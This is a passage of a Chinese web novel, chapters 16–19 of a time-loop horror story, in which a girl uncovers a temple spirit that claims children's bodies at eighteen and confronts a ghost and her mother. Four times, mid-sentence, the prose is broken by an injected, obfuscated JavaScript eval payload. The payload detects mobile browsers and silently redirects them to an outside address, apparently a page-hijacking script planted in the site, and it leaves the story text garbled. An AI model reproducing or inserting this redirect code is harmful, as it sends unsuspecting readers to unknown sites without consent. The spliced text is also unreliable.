宋须满拔下自己一缕头发,塞进妈妈手里。 妈妈呆若木鸡地看着她。 她顺了电视柜下面的照片,夺门而出:“我出门了。” 看来她必须完全搞清楚那些还没解决的问题。 先梳理一下她已知的副本信息。 根据第七次循环,蒋艺说到的“可惜不小心让你跑出门外”和她呕心沥血的实践经验得出。 在和朋友一起过生日的地方死亡,就会在生日会场开始新一轮循环。 当时蒋艺应该是想直接在生日会场直接将她的循环次数耗尽。可惜附身的时间并不长,所以让她勉强脱离了那个环境。 在其他任何地方死亡,就会直接从早上开始循环。 蒋艺和垃圾怪也能跟着她一起循环,且好像知道一些内情,因为她只剩下最后一次循环机会时,蒋艺说了“最后一次”。 第六次循环,在死亡前,蒋艺透露了一个非常重要的信息。 她的,妈妈。 随即,她赶去了那座荒山下的木屋。 敲门,门后露出蒋青冬平和的眼睛。 宋须满对着她笑了笑:“你知道山上的神仙在哪吗?” 蒋青冬没有回答,在仔细端详了她的脸后,反而要把门关上。 【是否确认使用道具[“束缚”]?】 “其实我是来求子的,别看我长得这么年轻,其实我今年已经四十了。” 宋须满悄悄指定了这句话。 蒋青冬的眼神开始迷离:“原来如此,不生孩子的女性就是看起来年轻……我带你去吧。” 蒋青冬从一个小箱子里拿了什么东西,然后带着宋须满穿过寸草不生的土地,走上凌乱咯脚的石子路,这条路长得没有尽头。 蒋青冬走在前面带路,她没有回头,声音轻的要消散在风里:“你为什么想要孩子?” 宋须满一边留意着四周,一边学着一般人的说辞:“哪有那么多为什么,人老了总该有个依靠。” “这样吗?看来你也和我一样……到了。” 蒋青冬蓦然停下脚步,微微侧过身,示意宋须满往前看。 一座庙宇矗立在那儿。 好像一半被压路机碾压,另一半被雨打雷劈,这座庙坍塌了一半,仅剩下的另一半破破烂烂。 没有光的照耀,显得有些阴森。 “进去吧,上四根香。跪在那诉说你的请求。”蒋青冬从坍塌的横梁下拿出一包香,数了四根递给宋须满。 俗话说“神三鬼四”,这果然不是什么神仙。 在宋须满接过香要上前时,蒋青冬叫住了她,又给了她一个小小的拨浪鼓,大概只够婴儿握在手里。 “这是干什么的?”这拨浪鼓看起来像是很小的小孩子玩的。 “把这放在香炉旁就行。” 她没有回答宋须满的话,也没有再说话,就站在那静静地看着。 庙里面并没有什么神像之类的东西,台上空空如也。这里根本就不像一个正规的寺庙。 这香似乎有些年头了,点了好几次,才冒出细细的烟。 按照蒋青冬所说,宋须满插上香后,将小拨浪鼓放在香炉旁边,然后跪在蒲团上,虔诚地低着头,嘴里念念有词。 至少看起来是很虔诚的,幸好站在好几米外的蒋青冬听不见,要不然她就会发现,这位自称四十岁没有孩子的人,居然是这么说的。 “希望世界上所有的坏人原地爆炸,没有特指杀了我好几次的蒋艺,也没有特指害我死了好几次的垃圾怪,真的没有特指……” 念叨了大概三分钟,宋须满的脑海中响起稚嫩的声音。 “……孩……子?” 就像某种生物刚学习人类语音时那种不熟练的语气。 “对。”宋须满回答完的下一秒,一张纸飘到她的面前。 [我接受山神的馈赠。] 宋须满拿起来看了看,在背面有一行蚂蚁一样的小子,藏在边框处。 [同时自愿献出孩子的身体。] 这和系统自动勾选的那种“同时播报全城”有什么区别啊! “咬破手指,按下指印,你就会得到……” 纸张瞬间被撕裂,变成粉末飘落。 蒋青冬震惊地看着飘扬的粉末。 “……不对……她……不是……” 哦吼,终于发现了。 那道稚嫩的声音有些急迫,显然,祂刚刚发现了什么不对劲的地方。 蒋青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564233|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬纠结地看着她,在“束缚”的作用下,她相信宋须满。但在祂的示意下,她又不应该相信宋须满。 所以她站在原地,一时没有动作。 宋须满无辜道:“怎么了?” 蒋青冬皱着眉,祂没有再说话,反正那家伙一直都很任性。于是她扶着额头:“你改天再来吧。也可以先去我的屋子里坐坐。” 那当然是选择后者了。回到这个其中一次的“死亡地”,宋须满的心情有点复杂。 蒋青冬给她倒上一盏茶,宋须满摩挲着凹凸不平的杯壁:“姐,我看这只有你一个人,你的孩子呢?” 压抑在心底的秘密,或许有时候真的需要一个人来倾诉。四十岁仍在苦苦求子的女人显然是一个很好的选择。 “曾经是有一个的。”蒋青冬仰头一口将茶饮完,仿佛那不是茶,而是酒。 “后来呢?” “对于父母来说,肯定是希望孩子成龙成凤的。我又是单亲妈妈,难免对她管束多一点……我在她身上倾注了所有的希望,也许她受不了,后来我就再也没见过她了……” “这真是一个悲伤的故事。”宋须满重重叹了一口气。 爱孩子,所以在她身上倾注所有希望,包括那隐秘的,自私的希望。 遗憾、懊悔、痛苦,未选择的路…… 将之加至孩子身上,就像在玩一款拥有二周目的游戏。 力求完美地避开所有的“坑”。 但是怎么会有人想要被人操控人生呢?那是你想走的路,不是孩子想要走的路。 “你后悔吗?”宋须满看着蒋青冬平静的脸。 “也许吧。我只是不想她像我一样,因为不懂事而吃太多苦。”她垂下眼眸,“重来一次,我可能依旧会选择这条路。但我一定会避免这种结局。” 这真的是为了孩子好吗?宋须满有点疑惑。 她只是想再来一次她人生的三周目罢了。 孩子是二周目,三周目……唯独不能是自己的一周目。 她不知道孩子究竟想要什么,她甚至不知道自己想要的是什么。 她想要的不是孩子,而是一个没有遗憾的人生。 宋须满掏出那张爸妈站在破庙前的照片:“你认识他们吗?” 蒋青冬脸色变了变:“不认识。” “真的吗?是他们推荐我来的,说这边很灵让我来找你。”宋须满神秘兮兮,刻意压低了声音。 “十几年前打了个照面而已。”蒋青冬解释道,“没什么特别的。” “这里的神仙这么灵,有什么来历吗?”见她不愿说,宋须满也只好换了个话题。 这个故事看起来不是什么禁忌,因为蒋青冬没有拒绝:“那地方本来供奉的是个什么山神,后来有一天下雨,庙塌了一半。人们就说他们供奉的这个说不定是被抛弃的神,所以便不再供奉。庙慢慢的就废弃了。” “后来,有人生了不想要的孩子,就丢到庙里。残疾的、有先天性疾病的、不想要的女孩……现在倒是没有人特地跑大老远来这丢孩子,倒是变成了求子的圣地。” 真是讽刺,昔日抛弃避之不及孩子的地方,竟然变成了现在的求子圣地。 16. 生日快乐(六) 像是很久没有对人说过这么多话,蒋青冬一连喝了好几杯茶。 “谢谢姐,那我就改天来。” 宋须满松开空空的茶杯,将湿透的袖口拢了拢,礼貌地道别。 出了门,她直奔山上的破庙而去。 先前跟在蒋青冬身后,她默默将路线记了个大概。 穿过寸草不生的土地,走过咯脚的石子路。寺庙仍萧条地待在荒凉的地方。 她掏出大饼威胁道:“出来!不然我就砸了这半个庙。” 砸了栖身的庙,没有几个正常鬼能忍受吧。 空气中一片静默,依稀有叶子划过地面带来的沙沙摩擦声。 来硬的果然没用。 “那这样呢?”宋须满掏出了积木。 她开始拼了起来,语气夸张:“这块积木好像小兔子的耳朵,也不知道谁能玩到,不会有人没有玩过积木吧?” “这块不就是胡萝卜吗?看来能拼成一个可爱的小兔子。” 还是没有动静。难道祂不喜欢小兔子吗? 思考了一下,宋须满画了个泡泡机。怎么可能会有人能拒绝五彩斑斓晶莹剔透薄如蝉翼的泡泡呢? 她开启了泡泡机,这场景着实有点诡异。 破败诡异的寺庙前,少女面无表情地拿着源源不断喷出五彩泡泡的卡通小手枪。 泡泡机发出努力工作的声音:“扑扑扑——”尽职尽责地吐出一连串泡泡。 漫天飞舞的泡泡,不断折射出炫目的光彩,映在少女清澈的眼底。 有一些泡泡爆炸了,也许是升得太高,也许是不够稳定,谁知道呢?它们的爆炸从来都是悄无声息的,好像那儿从未存在过一个泡泡,反正很快就会有其他泡泡补上。 “窸窸窣窣——” 宋须满的耳朵捕捉到了除了泡泡机微微的轰鸣声之外的声音。 微弱的,从坍塌的另一半的庙底下传出来的。 “咣当——” 是木板被掀开的声音。 宋须满扔下泡泡机,警惕地看着那一半坍塌的庙宇。 一个人头从底下缓缓冒了出来。 当机立断,宋须满掷出了手上的大饼。 “哎呦!”那人喊了一声,声音有点耳熟。 蒋艺拿着大饼捂着头愤怒回头:“果然是你。受死吧!” 糟糕!大饼的饼皮,危! 没想到蒋艺根本就没过来,她古怪一笑:“虽然我现在杀不了你,但是等晚上……” “其实等晚上你也杀不掉我吧?”宋须满嘲讽道。 蒋艺浑身颤抖,指着空气骂:“你还在这玩泡泡!这么久了你还没有身体,蠢货!” 宋须满顺着蒋艺指着的地方看过去,空气中还剩下零零散散分布均匀的泡泡。 除了那一块,那一块一个泡泡也没有,好像所有泡泡都在躲着那。 原来是有个不知名东西在那戳泡泡。 宋须满诱导着:“你要是不抢我的身体,我就天天给你吹泡泡玩。既不用受人类的苦,又可以玩到好玩的玩具。” 更大范围的泡泡爆炸了,一看就知道祂很高兴。 蒋艺脸都要气白了:“你居然相信了?她怎么骗你的全忘光了?” 她转身就要回去。 “刷刷刷刷——” 四个大饼飞来,把她前后左右的路全都堵了。 蒋艺:…… “我有句话要问你。”宋须满看着脸色不善的蒋艺,缓缓开口,“你和蒋青冬,是母女关系吗?” 要说之前蒋艺的怒火是冬天灼热的烤炉,那现在就是铺天盖地的火山爆发。 “你在说什么鬼东西?我和那种人怎么可能是母女!” “怎么不是?你有证据吗?” “没有一个母亲,会把女儿活活逼死的。”她平静了下来,还真有点蒋青冬的样子。 蒋艺不见了,说完这句话,她就消失了。 宋须满甚至都没有看清她是如何消失的。 一般来说,鬼会被束缚在自己死亡的地方。蒋艺和这寺庙脱不了关系,难道她是在这庙里死的吗? 选择死在这种地方,死在被抛弃孩子的“坟墓”里,她是怎么想的呢? … 就这样思考着,宋须满竟不知不觉走到了还没有恢复记忆的几次循环时,她买胶水的地方。 店主人还怪好,之前还送她铁盆来着。 此刻,店主大婶正站在店门口擦拭店面。 她有力的手臂挥舞着,嘴里哼着不知名的小曲,时不时随着哼唱的曲调摇摆几下身体。 有扎眼的红色在宋须满的眼里一闪而过。 她震惊地回过头,店主举起的手臂上,赫然戴着一条与她在照片夹层里面发现的,一模一样的红绳。 宋须满不动声色地靠近,店主大婶察觉到有客人来,热情道:“需要什么随便挑!” 这是一家很大的杂货店,要不然,怎么能一次买到两大盆胶水呢? 宋须满假装很感兴趣的样子:“婶婶,你手上这个红绳好眼熟啊,我爸妈好像也有一条。” 大婶瞳孔地震,面上的笑容都消失了,良久,她拿着抹布,小心翼翼地问道:“你今年几岁了?” 在得知宋须满就要成年了,大婶将她拉到一边,她指着自己手上的红绳严肃道:“你能确定你爸妈也有一样的吗?” 宋须满肯定地点头,大婶复杂地看着她:“你今天最好不要回家。” “为什么?”宋须满懵懂问道。 大婶捏着她的手,带着思念与悔恨的眼神落在她脸上。 良久,大婶松开了宋须满:“我女儿不在的时候,和你一样大。” 宋须满抖了抖,很害怕的样子:“是发生什么事情了吗?” 大婶摩挲着红手绳,声音有些颤抖:“当年我和丈夫结婚后,由于一直怀不上孩子,便去传说中很灵的庙里。谁知道那庙里好像还真的有东西,在我们按下手印后,一根红绳掉到我们面前。” “不久后,我真的被检查出怀了孩子。本以为会这样和女儿快乐地过一生,结果……” “结果?”宋须满握住大神的手,鼓励地捏了捏。 “在她十八岁生日那天晚上,有什么东西夺走了她的身体,我们疯狂地祈求她把女儿还给我们,那东西却很生气,甚至把保护我的丈夫杀了。” 说到这里,大婶已经泣不成声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564234|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我戴着红绳,只是希望女儿有一天能依靠这个找到我……” “你今晚千万不要回家。”大婶满脸泪痕地阻止她。 宋须满安慰地拍了拍大婶的背:“别担心,她会回来的……” 但两人都知道,被祂夺了身躯,她可能再也回不来了。 … 这红绳是契约的象征吗? 明明有了纸质的契约,为什么还要多个红绳? 副本的故事基本上可以拼凑出来了。 十八年前,她的父母去山上求子,在与祂缔结了契约后,得到了红绳。 有可能在下山时,碰见了蒋青冬,得知了她的住处,甚至蒋青冬还向他们保证过,无论发生什么危险,可以来她那。 所以死去母亲的嘴里才会有那样一张纸条提醒宋须满去木屋处。 十八年后,父母意外得知了所谓“求子”的真相,二人做了一个布娃娃,缝上她的生辰八字,缠上她的头发,以此暂时替代她,来迷惑祂的感官。 剩下的疑点只有,这些循环到底是怎么回事了。 这些问题,或许她可以从蒋艺那得到答案。 想到蒋艺,宋须满就头疼。从她嘴里套消息,可真是比登天还难。 蒋艺的年纪和她看起来差不多,也难怪可以装作她最好的朋友。 “小满姐!你怎么在这啊?”一只手轻轻拍了下宋须满的肩,她转过头,对上少女青春活泼的脸。 俞乐宜自然地牵上她的手:“小满姐,今天不是你过生日吗?蒋艺姐和大家都帮你准备好了,我们得快些过去……” “蒋艺?”宋须满面色古怪。 “对呀!小满姐你怎么了?脸色这么差。”俞乐宜一脸担忧地看着她。 “蒋艺是谁啊?我认识蒋艺吗?” 俞乐宜皱着眉盯了她一会,噗呲一下笑出声:“小满姐你的演技真是越来越好了,蒋艺不是你最好的朋友吗? “对哦,我和你开玩笑呢。”宋须满跟着笑。 蒋艺这是换策略了?还是说这么多次的循环,让她的能力也发生了变化。 “那我们走吧?还是说要先和叔叔阿姨说一声。”俞乐宜问道。 “不用,我们今早吵架了。”宋须满解释了一下。 这条路线……宋须满记得,就是她记忆中第一次循环的地方。 推开大门,蒋艺笑盈盈地坐在蛋糕前面。 祁世平和任安围在她身边。 俞乐宜也走上前,和他们站在一起:“蒋艺姐,我们来了。” 祁世平的表情空白了一瞬,他愣愣地看着宋须满:“这位是?” 俞乐宜惊讶地看了他一眼:“你们一个两个怎么都喜欢开玩笑,这是小满姐啊。” 祁世平晃了晃头:“奇怪,这不一时没想起来嘛哈哈。” 任安的目光随意地扫过了她,一脸看陌生人的表情,完全没有之前见到她时那种欣喜和暗暗的羞涩。 蒋艺靠在椅背上,周围围着宋须满的朋友,眼里闪烁着兴味的光,遥遥向刚刚跨过门槛的宋须满举杯:“生日快乐。” 宋须满眼神幽暗,举起虚虚握着的手,仿佛在和她遥空碰杯:“是啊,生日快乐。” 17. 生日快乐(七) 宋须满坐下,看着桌上的食物,没有动。 蒋艺笑道:“不合胃口吗?那我们来吃蛋糕吧。” 另外三人虎视眈眈地盯着她,令人有些发毛。宋须满的一只手握着什么东西藏在身后,幸好有桌子挡着,他们看不到。 但是蒋艺看到了,她冷哼一声:“你的手里拿着什么?” 宋须满冷汗直流,看起来很紧张,她甚至开始发抖。 哆哆嗦嗦的,她抬起了那只手。 竟然是一把!一把……泡泡枪? 宋须满惊讶道:“不好意思画错了,既然如此,我给大家下场泡泡雨吧!” 说时迟那时快,宋须满打开开关,泡泡枪就像吃坏了肚子那样,“扑扑扑——”吐出连绵不断的泡泡。 蒋艺本就因为宋须满拿出了把泡泡枪而愣在原地,眼下更是来不及阻止,只能眼睁睁看着一切发生。 泡泡一层堆一层,整间屋子瞬间被泡泡填满,好似一个充满着肥皂泡的澡堂。 “停下!”蒋艺的手臂瞬间伸长好几米,把泡泡枪打翻在地上。 “你好像忘了什么?”宋须满几乎已经学会了蒋艺古怪的笑容,所以在这里她古怪一笑。 “什……”看来蒋艺意识到了。 因为泡泡枪,还在顽强地连绵不断吐出泡泡! 蒋艺脸都绿了,她伸长脚,一脚踩上泡泡枪,将那粉红色的玩具踩成碎片。 此时,宋须满拿出了另一只手。 空气中弥漫着五彩的泡泡,宋须满看着模糊的人形,眯着眼。 一、二、三……丢! 这是什么?是一块大饼吗? 不,这是mini版大饼,为了更好地拿在手里,宋须满在大饼上画了个大饼,只有原版的四分之一大小,简称为mini大饼。 现在,这mini大饼穿过五彩缤纷的泡泡,穿过长长的桌子,穿过许多许多空气,终于“咣——”砸在了蒋艺头上。 不愧是mini大饼,就连发出的声响都是mini的。 蒋艺捂着头,想来她应该想起了早上在破庙里被砸的感受。 “你们不是我的朋友吗?为什么不来帮我!”蒋艺大吼着,对着另外三人。 俞乐宜抱着脑袋摇着头,嘴里一会嘟囔着小满姐,一会嘟囔着蒋艺姐。 任安的眼神在她俩身上游移不定,额角冒汗。 祁世平往宋须满这边走了几步,又转头往蒋艺那边走了几步,像个在油锅里的蚂蚁,正在团团转。 蒋艺都气笑了:“宋须满你的朋友可真爱你,都这样了还记得你呢。” 她的脸色阴沉下来。 三人眼神迷离,都往蒋艺那边去了。 蒋艺说:“宋须满,你会被遗忘的。” 于是,她的三个朋友面露疑惑:“宋须满是谁啊?” 看来蒋艺是给他们施加了类似于精神污染的东西,使他们的认知发生变化。从而误以为蒋艺才是真实存在的,而她将在认知中由于被众人遗忘而“死亡”。 精神污染?现在想来,那个虫子苹果,也许就是垃圾怪的精神污染。 “你嫉妒我?”蒋艺想让她体会到“被看不见”的感受,这也太刻意了。 蒋艺给了她一个高傲的眼神。 是又怎样,你已经被遗忘了。没有人记得你,没有人看见你,任凭你想交什么样的朋友,都不可能。 从前是妈妈的阻碍。 “不许和这些坏学生玩!说了多少次了,他们会把你带坏!” “不许和同学出去!妈妈一个人带你不容易,你竟然还不懂事,给我留在家写作业!” 现在是物种的隔阂。 “蒋艺是谁啊?” “你是不是中邪了?” 没有蒋艺想象中被抛弃的惊慌,宋须满很淡定地抚摸着她的大饼。 “这不是你想要的吧?”冷不丁的,宋须满冒出一句没头没尾的话。 蒋艺面无表情地看着她,眼中酝酿着巨大的风暴。 “这些是我的朋友,是我从陌生一点点到熟悉的朋友。我了解他们的一切,他们也了解我的一切。而你,并不了解他们。”宋须满不抚摸大饼了,而是掰扯大饼。 看起来她是有点饿了,想把大饼掰下来吃。 “那又怎样,我现在有朋友了。”蒋艺挑衅地看着她。 宋须满看得出来,她不是想要朋友,她只是想和蒋青冬对着干罢了。 越不让做什么越要做什么,果然还是没长大的孩子。 讨厌母亲过分的控制,讨厌一举一动都被设定好的人生,想要远离母亲。但就算变成了这样,却还是被一根“亲情”的脐带连接。 “从今往后,我会彻底取代你!”蒋艺继续刺激着宋须满,她盯着宋须满的脸,像是个观察着新玩具会有什么反应的孩子。 “就算是想要取代我,你也没有放弃‘蒋艺’这个名字啊……”宋须满的声音很轻,轻到蒋艺几乎听不见。 名字,一个孩子啼哭着来到世上的最有仪式感的证明。 取名,父母焦头烂额翻阅字典,这个字不错,这个字不好……含有美好寓意的字词太多,为什么不能全都用在孩子身上呢? 当孩子有了名字,名字是父母与孩子之间联系的具象化。 每一次呼唤,就是在加深这种联系。 呼唤一万次带有美好寓意的名字,就像祝福了孩子一万次。 祝你杰出,祝你美满,祝你健康…… 呼唤了多少次,应答了多少次,这名字在心里扎根了多少次? “要是取代了我,你就再也见不到蒋青冬了。” 蒋艺瞳孔地震,面上却不显:“我和她没关系。” “真的吗?你要是不抢我的身份,我可以帮你。我的能力,你也是知道的。”宋须满晃了晃手上的大饼。 真是够了,蒋艺想抢她的身份,垃圾怪想抢她的身躯。 虽然她们之后说不定也会打起来,但要真等到那时候,宋须满早就凉了。 “我能帮你得到真正想要的,而你并不需要付出什么,这样的交易,你不心动吗?”宋须满循循善诱。 这样好的机会你不心动吗?蒋艺果然动摇了,她竟然能看出自己想要的究竟是什么。 真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原身却不厌其烦地说:“你要保护好爸爸妈妈,不要让他们死亡啊。” 这是两种循环在不同之处的原因吧。 宋须满终于明白了,她为什么结束不了这副本。 因为她还没有完成他们的执念。 仅仅只是赶跑蒋艺与垃圾怪,原身的身躯是保住了,但父母的安危没有解决。 因为他们随时可以卷土重来。 至少现在,解决了一个。 宋须满看着满眼期待看着她的蒋艺,乐观地想。 母女之间的事情还是需要母女之间解决。 远远的就看见木屋亮着灯。 蒋艺却临阵退缩,死活不愿意过去。 “要不还是算了,我还是夺你的身躯好一点……” 宋须满:……你礼貌吗? 于是她拖着蒋艺就往那边走。 蒋艺还想挣脱她的手逃跑,就在宋须满和她的僵持中。 小屋的门缓缓打开了。 18. 生日快乐(八) 蒋艺停止了挣扎,她鲜活的表情褪去,脸上只剩下麻木,活像一个木头人。 蒋青冬走了出来,月光为她披上一层纱衣。 “……小艺!”她想第一时间扑上来抱抱她的女儿,但她踌躇着,仿佛被什么绊住了脚步。 是被什么绊住了脚步?是愧疚还是后悔? 蒋艺躲在宋须满身后,没有说话。 “原谅妈妈吧,给我重来一次的机会,我不会让悲剧发生的。”她小心翼翼地看着蒋艺。 “我会倾尽所有培养你,你绝对不会比别的孩子差,绝对不会。”蒋青冬承诺着,但宋须满莫名觉得这话语听着有些违和。 与其说是在向蒋艺承诺,不如说是给蒋青冬自己的承诺。 “你明知道我不想要这个。”蒋艺说道。 “我和她没什么好说的,我还是拿走你的身份吧……” 宋须满收起了旁观者的姿态,她搓了搓手臂:“进屋说吧,外面还挺冷的。” 夜晚的风微凉,让人无端生出一股凄凉感,这种环境是不利于谈话的。 而屋子内灯光昏黄柔和,是个让人平静下来的好地方。 宋须满跟在蒋艺后面,待所有人都进门后,她将木门关上。 凄凉的风吹不进这个小屋子。 很好,现在的场景非常利于谈话。 但她的眼睛扫过桌面,那里有一抹鲜红一闪而过。 宋须满:批发版烂大街红绳,你值得拥有! 是的,那刺目的红色静静躺在桌上,看起来有些毛燥,像是被人经常拿在手里摩挲。 看来是主人出去的急,它被随意抛在桌上,歪歪扭扭。 这不就是那条红绳吗? 蒋青冬看着宋须满,淡淡开口:“虽然不知道你是用什么方式骗过我的,那张照片上的其实是你父母吧?” “你也有红绳,这到底是用来干什么的?”宋须满没有回答她的话,有时候,没有回答就是最好的回答。 蒋青冬捻起红绳,所有人的目光都聚集到红绳上。 蒋青冬看着蒋艺,很温柔地说:“你知道吗?这是妈妈和你相连接的证明。” 妈妈和女儿相连接的证明…… “是脐带啊,这是很好的证明。” 蒋艺面色古怪,宋须满已经习惯她这个表情了:“脐带?” “按下手印的是父母,为什么那东西还能找到孩子,就是因为这个东西啊。”把一截脐带做成红绳,依靠这上面的气息来寻找孩子…… “你也和祂做过交易?”蒋艺看起来完全不知情的样子。 “那个男人抛弃我之后,我太想要一个孩子了。”蒋青冬将红绳死死握在手里,“我想要她不再犯我犯过的错误,走上我最想走的路……” “不能因成绩不好辍学打工,不能随便嫁给一个随便的男人,不能对没有前途的东西感兴趣。这些都是可以毁了一个人人生的东西。” “所以你为了有个孩子,甚至牺牲我?!”蒋艺不可置信。 蒋青冬慌张解释:“不是的,那时的我并不知道这代价是你。只是后来越来越多的人去山上求子,他们的孩子都死在十八岁。而你,我亲爱的女儿,你并没有活到十八岁。” 说到最后一句,蒋青冬的眼里泛起水光,甚至有些哽咽。 她拼尽全力培养的女儿在祂收取报酬前,就在庙里吊死了。 或许是拥有相似的愿望,蒋艺竟没有被祂排斥,反而被祂接纳了。 “你确实见过我的父母,也许,你还告诉过他们需要付出的代价。” 蒋青冬喝着桌上的茶水,宋须满和蒋艺面前的杯子都是空的,只有她一个人喝着那很苦的茶。 “见过,想要得到什么就要付出什么,这个道理应当是所有人的共识。” “咳咳——” 她咳嗽两声,捂着胸口,好像是被茶水呛到了。 蒋艺神色不明地看着她,望着那抹鲜红,她没有说话。 她不知该如何描述对母亲的情感。 她爱她,但好像又不怎么爱她。蒋艺时常觉得蒋青冬是个只爱自己的人。 她时刻关心她的学习,她交的朋友,她的兴趣爱好…… 蒋青冬嘴上说着爱她,却总做些令她感受不到爱的事。 “咳咳咳——” 蒋青冬咳得太厉害了。 就连宋须满都发现了不对劲,她迅速上前去查看蒋青冬的状态。 她的脸色不太好,抬手将杯子里最后一口茶吞入腹中,速度太快了,宋须满来不及阻拦。 茶杯掉在地上发出啪啦声,碎片里藏匿着的水渍映照着蒋青冬倒下的画面。 她嘴角溢出一丝血迹,强撑着看向蒋艺的方向:“小艺,妈妈来陪你……” 视线有些模糊,她的眼睛聚不了焦,就这样虚虚地看着她的女儿,她血肉相连的,又被她害死的女儿。 蒋艺坐在原地微微颤抖,她没有动,好半天吐出两个很轻的字:“傻子。” 蒋青冬自认为是个聪明人,强硬地要求女儿走自己规定好的每一步。 这样的人,怎么会不知道就这样死去,是什么都留不下的呢? 有冰凉的液体从蒋艺的眼中流出,她怔怔摸上脸,好陌生的触感。 宋须满去探了蒋青冬的鼻息,已经没有气了。 作为一个普通人,在这世上挣扎着活这么多年,离去时居然只有她已经变成鬼的女儿和宋须满这个外来人知道。 宋须满不禁想起她第一次看见这木屋时的感受——荒山的一个脚趾甲。 不起眼的地方的一个不起眼的存在。 蒋艺终于有了动静,她站起身来,椅子猛然向后倒去,砸在地上,发出很大一声响声。 她走到蒋青冬面前,抚上她的身体,尚有余温,但很快就会变成她这样冰凉。 宋须满叫了她一声:“蒋艺?” 蒋艺恍若未闻,她低下头,肩膀开始颤动。终于抑制不住笑出声来。 宋须满有点看不懂,她警惕地往后退了一步。 “妈妈?”蒋艺的语调怪异,仿佛回到了牙牙学语的婴儿时期,第一次生涩地从唇齿吐出这两个模糊的字词。 眼前的尸体告诉她,一步步引导她的人生走向如此境地的人,已经死了。 没人告诉一个未成年的少女,经历过这样的事,此刻该是怎样的心情。 她也不需要知道,因为她已经做出了选择。 蒋艺轻轻将蒋青冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564236|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身体往旁边移了移,用右手牵住从蒋青冬手中露出的一截红绳。 她坐上了那半边椅子,右手模仿着蒋青冬的动作握着红绳,身体与蒋青冬贴在一起,就像是回到了她们血脉相连的时候。 少女清澈的眼睛里闪烁着因电压不稳而忽明忽暗的昏黄灯光,就像她们第一次见面时那样:“回去吧,这次你会成功的。” 宋须满走过去握了握她空着的左手:“祝你们好运。” 待宋须满走到门边,少女已经埋下头,和她的母亲趴在一起。 犹豫了一下,宋须满选择了不关灯。 反正这里不是现实,不会有人来指责房屋主人浪费电的。 “祂不是你的对手。虽然很蠢,但祂也只是一些被抛弃的孩子,如果可以,希望你帮帮他们……” 宋须满回过头,蒋艺仍然趴在桌上,并没有任何异样,仿佛那话只是她的幻听。 … 一团黑雾将沙发上的布娃娃席卷,布娃娃在空中挣扎几下,落在地上,飘下一缕头发。 女人找准时机一把将布娃娃扯入怀中,手忙脚乱地往房间里跑。 男人向着那团黑雾不停扔着东西,椅子、架子、鞋子…… 可那黑雾不是实体,扔向它的东西直直砸向地板。 黑雾好像被激怒了,移动的速度快了不少,女人怀中的布娃娃还是难逃被抢走的命运。 仿佛无数藏着尖利獠牙的鬣狗藏在其中,不到一秒,布娃娃便被撕了个粉碎。 破碎的棉花和纸屑漫天飞舞。 男人见状不妙,他挡在女人前面大喊:“快!你去留下一些信息。” 女人往房内跑,手忙脚乱地拿出白纸,在上面歪歪斜斜写下了什么。 黑雾越来越近,即将要将男人吞噬。 这可悲的结局难道又要重演了? “轰——”大门轰然倒塌。 少女一脚踩在倒下的大门上,用实际行动告诉祂。 我不同意。 黑雾抖了一下,似乎想起了什么不好的回忆。 但是想到即将达到的目标,黑雾坚定地掉了个头,向着宋须满的地方飞去。 几乎是瞬间,宋须满被黑雾包围了。 她变成了一个缺了一只眼,患有先天性疾病的孩童,窝在大人温暖的怀抱里沉沉睡去。 她变成了一个被襁褓包裹着的婴儿,男人抽着烟阻止了她差点被溺死的结局,她在母亲怀里哭着睡着。 但,为什么她是在陌生的地方醒来的? “造孽啊,后续治疗可要不少钱……” “又是个没根的?” “丢到山上自生自灭吧。” “爸爸妈妈……”这是小声的呢喃,没有存在感的呢喃。 被抛弃的痛苦与不解,看到美好家庭的嫉妒与仇恨,一瞬间涌了上来。 负面情绪太容易使一个人沉溺其中了。 只要她被这些扯着滑向深渊,只要这样,那么祂就可以获得最终胜利了。 黑雾开心得扭来扭去。 沉重得几乎要变为实体的负面情绪包裹着她,宋须满额角冒汗,从其间看不到一丝光亮。 但她喘着气,唇角勾起。因为,她看到光了。 19. 生日快乐(九) “小满!” “小满!” 呼唤原来是有拥有巨大的力量的,不止是祝福,它能带来真真正正的力量。 宋须满拿着大饼往有光的方向怼,大饼死死卡在中间,发出刺耳的摩擦声。 